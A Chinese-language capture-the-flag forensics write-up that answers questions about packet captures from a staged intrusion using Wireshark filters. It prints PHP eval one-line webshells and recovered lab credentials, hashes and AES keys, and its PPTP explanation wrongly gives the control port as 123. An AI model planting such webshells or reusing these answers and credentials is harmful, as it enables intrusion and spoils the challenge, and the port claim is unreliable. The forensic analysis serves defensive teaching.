某公司內網網路被駭客滲透,簡單瞭解,駭客首先攻擊了一臺web伺服器,破解了後臺的賬戶密碼,隨之利用破解的賬號密碼登陸了mail系統,然後獲取了vpn的申請方式,然後登陸了vpn,在內網pwn掉了一臺印表機,請根據提供的流量包回答下面有關問題
1 某公司內網網路被駭客滲透,請分析流量,給出駭客使用的掃描器
2 某公司內網網路被駭客滲透,請分析流量,得到駭客掃描到的登陸後臺是(相對路徑即可)
3 某公司內網網路被駭客滲透,請分析流量,得到駭客使用了什麼賬號密碼登陸了web後臺(形式:username/password)
<?php @eval($_POST['pass']); ?>4 某公司內網網路被駭客滲透,請分析流量,得到駭客上傳的webshell檔名是,內容是什麼,提交webshell內容的base編碼
5 某公司內網網路被駭客滲透,請分析流量,駭客在robots.txt中找到的flag是什麼
6 某公司內網網路被駭客滲透,請分析流量,駭客找到的資料庫密碼是多少
7 某公司內網網路被駭客滲透,請分析流量,駭客在資料庫中找到的hash_code是什麼
8 某公司內網網路被駭客滲透,請分析流量,駭客破解了賬號ijnu@test.com得到的密碼是什麼
9 某公司內網網路被駭客滲透,請分析流量,被駭客攻擊的web伺服器,網路卡設定是是什麼,提交網路卡內網ip
10 某公司內網網路被駭客滲透,請分析流量,駭客使用了什麼賬號登陸了mail系統(形式: username/password)
11某公司內網網路被駭客滲透,請分析流量,駭客獲得的vpn的ip是多少
所以結合上面所說的掃描器的特徵進行過濾一下
http contains acunetix
故我們知道駭客使用的掃描器為awvs
從圖中我們也可以得到掃描者的IP為192.168.94.59
登入後臺都是POST傳參,直接使用過濾器過濾一下
http.request.method=="POST"
從第一個包就可以看出後臺地址,然後我們追蹤TCP流,發現302重定向出現,證明後臺地址登入成功
所以後臺登入系統為login
但是檢視過後我發現有很多302重定向登陸成功的結果,發現了很多賬號密碼,為了確定駭客所使用的,我找了一下駭客的ip地址,就是剛剛看到使用awvs進行掃描的源地址一定就是駭客的ip。然後使用過濾器再次過濾一下。ip為192.168.94.59
http.request.method=="POST" and ip.addr==192.168.94.59 and http contains "rec=login"
*rec=login為後臺地址
其他的封包都在嘗試密碼連線,我們拉到最後一個可以知道後臺的賬號和密碼 然後TCP流追蹤一下 302重定向 所以我們知道駭客用的是
賬號:admin
密碼:admin!@#pass123
通過下面的語句過濾一下資料,翻閱封包後發現了一個a.php可能有點蹊蹺,但是沒有發現他是如何上傳的,不過追蹤一下TCP流,發現1234為傳遞值,並有base64加密過的內容,解密一下發現是php程式碼,以z1為傳遞值,z1也是使用了base64加密過的內容,再次解密一下得到了一個目錄。總結上面的東西發現好像並沒有什麼作用。。
http.request.method=="POST" and ip.src==192.168.94.59 and http
注:%2B是+號
從上面的發現基本可以斷定webshell是php寫的,盲猜一下是php一句話木馬,使用下面的語句過濾一下,沒有發現資料,考慮到可能是tcp重傳的原因,導致http中沒追蹤到,把http換成tcp再次過濾一下檢視,最終找到了webshell的內容
http contains "<?php @eval"
tcp contains "<?php @eval"
因為可以TCP重定向我們沒有在HTTP中發現封包 所以我們把HTTP改為TCP
我們可以看出伺服器是application
故發現是一句話木馬繞過
檔名:a.php
內容是:<?php @eval($_POST[1234]);?>
問題中已經給出了線索,即robots.txt,所以利用這個關鍵詞去查
http contains "robots.txt"
追蹤第一個robots.txt的TCP流可以發現
flag:87b7cb79481f317bde90c116cf36084b
也可以通過匯出http物件,在文字過濾器中選擇robots.txt,將檔案儲存下來
直接過濾http封包,檢視封包的末尾,如果資料庫登陸成功,那麼http響應碼應該為200,並且一般會包含database,逐一檢視響應碼為200的封包,即可找到資料庫密碼
http.response.code==200 and http contains "database"
database host
$dbhost = 「10.3.3.101」;
// database username
$dbuser = 「web」;
// database password
$dbpass = 「e667jUPvJjXHvEUv」;
密碼就是這個,沒有加密
開啟webtwo流量包,
可以先利用這個關鍵字查詢一下,但是沒有發現什麼,既然還是關於資料庫的,在上面我們已經知道資料庫的主機是10.3.3.101,可以先查這個ip有什麼資料。
ip.src==10.3.3.101 and tcp contains "hash_code"
hash_code=d1c029893df40cb0f47bcf8f1c3c17ac
http contains "ijnu@test.com"
密碼為:b78f5aa6e1606f07def6e839121a22ec 但是是md5加密過的所以我們用MD5給他解密得到
故賬號ijnu@test.com對應的密碼為edc123!@#
回到webone.pcap這個流量包中,這個問題問的是網路卡的設定,一般網路卡的名稱都為eth0或者ens33所以可以利用這個關鍵詞進行查詢
tcp contains "ens33"
tcp contains "eth0"
所以我們嘗試一下ens33與eth0
發現ens33沒有 故應該是eth0
故網路卡為
eth0 ip為192.168.32.189
eth1 ip為10.3.3.100
這題需要綜合來看mailtwo.pcap和mailtwo1.pcap兩個封包。
先查詢下mailtwo.pcap這個封包,一開始利用POST和mail過濾了下
http.request.method==POST && http contains "mail"
發現有大量的登入 所以我們隨便找了一個密碼,先看看是什麼加密的
發現密碼的方式不是base64
4GfBrxPSo3JfcudhQh9rmw== 加密方式是AES
不是base64,應該是AES加密,但需要找到加密的金鑰,所以還是得重新過濾在伺服器返回的資訊中去查詢,就先只過濾一下http,隨便找一個狀態碼為200的追蹤下TCP流,在伺服器返回的資訊中發現
http.response.code==200
故我們可以得到
var key_hash = CryptoJS.MD5(‘1234567812345678’);
var key = CryptoJS.enc.Utf8.parse(key_hash);
var iv = CryptoJS.enc.Utf8.parse(‘1234567812345678’);
這是AES的CBC加密,填充格式為ZeroPadding,金鑰為字串1234567812345678的hash值,偏移量為1234567812345678
1234567812345678 iv偏移量
1234567812345678 必須經過md5加密後才可以使用的key
key:d959caadac9b13dcb3e609440135cf54
然後我們過濾http後:得到了使用者
發現登入使用者為wenwenni
獲取到密碼的加密方式,可能會理解base64,但不可能,AES加密。你需要找到我們key,和iv偏移量
找到它的加密演演算法:1234567812345678
找到登陸的使用者名稱和密碼
在42號資料請求中,發現登入使用者為wenwenni,再檢視一下返回資料44號中出現{「success」:true},代表登陸成功。
(http contains "{\"success\":true}" or http.request.method=="POST") and ip.addr==192.168.94.59
發現都是在爆破,而且最後也沒有出現成功的,利用這個過濾方法查詢第二個包mailtwo1.pcap
從後往前看,18152是登陸成功的返回結果,對應的17126則應該就是正確的加密後的密碼
故我們知道密碼:"+ZgE14UGcFcyRGLI0/ZXPQ=="
通過aes解密後得到密碼
PPTP原理
1.PPTP客戶機使用動態分配的TCP埠號,與PPTP伺服器使用的保留TCP埠號123建立控制連線
(PPTP控制連線攜帶PPTP呼叫控制盒管理資訊,用於維護PPTP隧道)。
2.使用者端與伺服器通過控制連線來建立、維護、終止一條隧道。
3.PPP幀的有效載荷經過加密、壓縮或是兩者的混合處理。
4.使用通用路由封裝GRE對PPP幀進行封裝。
5.將PPP幀封裝進IP資料包文中。通過IP網路如Internet或其他企業準用INTRANET燈傳送給PPTP伺服器。
6.伺服器接收到PPTP封包後進行常規處理。
感覺一直在嘗試連線VPN
我們看下一個包vpntwo
我們統計一下我們的ip地址
發現了問題 10.3.4.96和10.3.4.3,10.3.4.55存取過大
我們再看一下smb服務
故我們排除10.3.4.96這個IP
然後我們開始排查下面倆個ip
發現10.3.4.3ping10.3.4.55
所以
駭客ip:10.3.4.3